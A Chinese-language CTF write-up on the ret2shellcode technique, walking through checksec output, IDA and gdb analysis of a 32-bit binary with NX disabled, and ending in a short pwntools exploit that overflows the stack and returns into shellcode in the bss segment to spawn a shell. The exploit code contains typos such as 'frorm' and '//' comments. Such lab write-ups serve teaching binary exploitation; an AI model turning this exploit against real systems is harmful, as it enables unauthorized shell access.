原理
ret2shellcode,即控制程序执行 shellcode代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。
0x1
拿道题之后先查看它的保护机制
-> checksec shellcode
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
0x2
发现文件几乎没有开什么保护,并且具有可读可写可执行的段。程序是32位的,直接扔到32位IDA里
可能存在一个栈溢出的漏洞,我们就可以利用漏洞。简单分析程序发现还将输入到S地址的数据复制到buf2里面,点开buf2发现buff2在bass段,我们再去找system(“/bin/sh”)按shift+F12发现没有/bin/sh
0x3
我们先检测一下buff2在bass段是否具有可读可写的可执行的权限,如果有我们就讲shellcode写入拿到想到东西。
b main //在main函数下断点
r
vmmap //查看权限
通过 vmmap,我们可以看到 bss 段对应的段具有可执行权限,那么这次我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode。其中,相应的偏移计算类似于ret2text 中的例子。
exp如下
frorm pwn import*
p = process("./ret2shellcode")
// r = remote('ip',端口)
shellcode = asm(shellcraft.sh())
//shellcode = asm(shellcraft.i386.linux.sh())
buf2 = 0x804a080
p.sendline(shellcode.ljust(112,'a') + p32(buf2))
p.interactive()
此篇文章如果存在问题,还望大佬批评指正